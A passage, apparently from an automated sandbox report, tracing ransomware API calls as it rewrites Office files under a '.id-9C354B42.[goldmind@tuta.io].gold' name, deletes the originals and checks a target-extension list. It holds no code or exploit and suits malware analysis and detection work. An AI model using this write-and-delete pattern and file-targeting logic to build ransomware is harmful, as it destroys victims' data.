Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.102] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=218) returned 1 [0102.102] CloseHandle (hObject=0x398) returned 1 [0102.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 0x20 [0102.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.102] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.102] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0102.103] GetLastError () returned 0x0 [0102.103] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xda, lpOverlapped=0x0) returned 1 [0102.103] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0102.104] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.104] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0102.104] SetEndOfFile (hFile=0x3a8) returned 1 [0102.104] CloseHandle (hObject=0x3a8) returned 1 [0102.104] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.104] SetEndOfFile (hFile=0x398) returned 1 [0102.109] CloseHandle (hObject=0x398) returned 1 [0102.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 1 [0102.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.110] lstrlenW (lpString=".doc") returned 4 [0102.110] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0102.110] lstrlenW (lpString=".docx") returned 5 [0102.110] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0102.110] lstrlenW (lpString=".pdf") returned 4 [0102.110] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0102.110] lstrlenW (lpString=".xls") returned 4 [0102.110] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0102.110] lstrlenW (lpString=".xlsx") returned 5 [0102.110] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0102.110] lstrlenW (lpString=".ppt") returned 4 [0102.110] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0102.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.110] lstrlenW (lpString=".zip") returned 4 [0102.110] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0102.110] lstrlenW (lpString=".rar") returned 4 [0102.110] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0102.110] lstrlenW (lpString=".bz2") returned 4 [0102.110] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0102.110] lstrlenW (lpString=".7z") returned 3 [0102.110] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0102.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.110] lstrlenW (lpString=".dbf") returned 4 [0102.110] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0102.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.110] lstrlenW (lpString=".1cd") returned 4 [0102.110] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0102.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.110] lstrlenW (lpString=".jpg") returned 4 [0102.110] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0102.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.110] lstrlenW (lpString=".doc") returned 4 [0102.110] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0102.110] lstrlenW (lpString=".docx") returned 5 [0102.110] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0102.110] lstrlenW (lpString=".pdf") returned 4 [0102.110] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0102.110] lstrlenW (lpString=".xls") returned 4 [0102.110] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0102.110] lstrlenW (lpString=".xlsx") returned 5 [0102.110] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0102.110] lstrlenW (lpString=".ppt") returned 4 [0102.110] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0102.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.111] lstrlenW (lpString=".zip") returned 4 [0102.111] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0102.111] lstrlenW (lpString=".rar") returned 4 [0102.111] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0102.111] lstrlenW (lpString=".bz2") returned 4 [0102.111] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0102.111] lstrlenW (lpString=".7z") returned 3 [0102.111] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0102.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.111] lstrlenW (lpString=".dbf") returned 4 [0102.111] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0102.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.111] lstrlenW (lpString=".1cd") returned 4 [0102.111] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0102.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0102.111] lstrlenW (lpString=".jpg") returned 4 [0102.111] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0102.111] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0102.111] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16 [0102.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.112] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=111) returned 1 [0102.112] CloseHandle (hObject=0x398) returned 1 [0102.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 0x20 [0102.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.112] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.112] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0102.113] GetLastError () returned 0x0 [0102.113] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x6f, lpOverlapped=0x0) returned 1 [0102.114] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x70, lpOverlapped=0x0) returned 1 [0102.114] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.114] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0102.114] SetEndOfFile (hFile=0x3a8) returned 1 [0102.114] CloseHandle (hObject=0x3a8) returned 1 [0102.114] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.114] SetEndOfFile (hFile=0x398) returned 1 [0102.116] CloseHandle (hObject=0x398) returned 1 [0102.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 1 [0102.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.117] lstrlenW (lpString=".doc") returned 4 [0102.117] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.117] lstrlenW (lpString=".docx") returned 5 [0102.117] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.117] lstrlenW (lpString=".pdf") returned 4 [0102.117] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.117] lstrlenW (lpString=".xls") returned 4 [0102.117] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString=".xlsx") returned 5 [0102.118] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.118] lstrlenW (lpString=".ppt") returned 4 [0102.118] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.118] lstrlenW (lpString=".zip") returned 4 [0102.118] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString=".rar") returned 4 [0102.118] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString=".bz2") returned 4 [0102.118] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.118] lstrlenW (lpString=".7z") returned 3 [0102.118] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.118] lstrlenW (lpString=".dbf") returned 4 [0102.118] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.118] lstrlenW (lpString=".1cd") returned 4 [0102.118] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.118] lstrlenW (lpString=".jpg") returned 4 [0102.118] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.118] lstrlenW (lpString=".doc") returned 4 [0102.118] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.118] lstrlenW (lpString=".docx") returned 5 [0102.118] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.118] lstrlenW (lpString=".pdf") returned 4 [0102.118] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString=".xls") returned 4 [0102.118] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString=".xlsx") returned 5 [0102.118] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.118] lstrlenW (lpString=".ppt") returned 4 [0102.118] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.118] lstrlenW (lpString=".zip") returned 4 [0102.118] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString=".rar") returned 4 [0102.118] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.118] lstrlenW (lpString=".bz2") returned 4 [0102.118] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.118] lstrlenW (lpString=".7z") returned 3 [0102.119] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.119] lstrlenW (lpString=".dbf") returned 4 [0102.119] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.119] lstrlenW (lpString=".1cd") returned 4 [0102.119] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0102.119] lstrlenW (lpString=".jpg") returned 4 [0102.119] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.119] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0102.119] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16 [0102.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.119] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=110) returned 1 [0102.119] CloseHandle (hObject=0x398) returned 1 [0102.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 0x20 [0102.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.120] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.120] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0102.121] GetLastError () returned 0x0 [0102.121] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x6e, lpOverlapped=0x0) returned 1 [0102.121] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x70, lpOverlapped=0x0) returned 1 [0102.122] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.122] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0102.122] SetEndOfFile (hFile=0x3a8) returned 1 [0102.122] CloseHandle (hObject=0x3a8) returned 1 [0102.122] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.122] SetEndOfFile (hFile=0x398) returned 1 [0102.124] CloseHandle (hObject=0x398) returned 1 [0102.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk")) returned 1 [0102.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.125] lstrlenW (lpString=".doc") returned 4 [0102.125] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.125] lstrlenW (lpString=".docx") returned 5 [0102.125] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.125] lstrlenW (lpString=".pdf") returned 4 [0102.125] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.125] lstrlenW (lpString=".xls") returned 4 [0102.125] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.125] lstrlenW (lpString=".xlsx") returned 5 [0102.125] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.125] lstrlenW (lpString=".ppt") returned 4 [0102.125] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.125] lstrlenW (lpString=".zip") returned 4 [0102.125] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.125] lstrlenW (lpString=".rar") returned 4 [0102.126] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.126] lstrlenW (lpString=".bz2") returned 4 [0102.126] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.126] lstrlenW (lpString=".7z") returned 3 [0102.126] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.126] lstrlenW (lpString=".dbf") returned 4 [0102.126] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.126] lstrlenW (lpString=".1cd") returned 4 [0102.126] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.126] lstrlenW (lpString=".jpg") returned 4 [0102.126] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.126] lstrlenW (lpString=".doc") returned 4 [0102.126] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0102.126] lstrlenW (lpString=".docx") returned 5 [0102.126] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0102.126] lstrlenW (lpString=".pdf") returned 4 [0102.126] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0102.126] lstrlenW (lpString=".xls") returned 4 [0102.126] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0102.126] lstrlenW (lpString=".xlsx") returned 5 [0102.126] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0102.126] lstrlenW (lpString=".ppt") returned 4 [0102.126] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0102.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.126] lstrlenW (lpString=".zip") returned 4 [0102.126] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0102.126] lstrlenW (lpString=".rar") returned 4 [0102.126] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0102.126] lstrlenW (lpString=".bz2") returned 4 [0102.126] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0102.126] lstrlenW (lpString=".7z") returned 3 [0102.126] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0102.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.126] lstrlenW (lpString=".dbf") returned 4 [0102.126] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0102.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.126] lstrlenW (lpString=".1cd") returned 4 [0102.126] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0102.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0102.127] lstrlenW (lpString=".jpg") returned 4 [0102.127] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0102.127] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0102.127] lstrlenW (lpString="HVAC.VSL") returned 8 [0102.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.138] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=36200) returned 1 [0102.138] CloseHandle (hObject=0x3b8) returned 1 [0102.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 0x20 [0102.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" 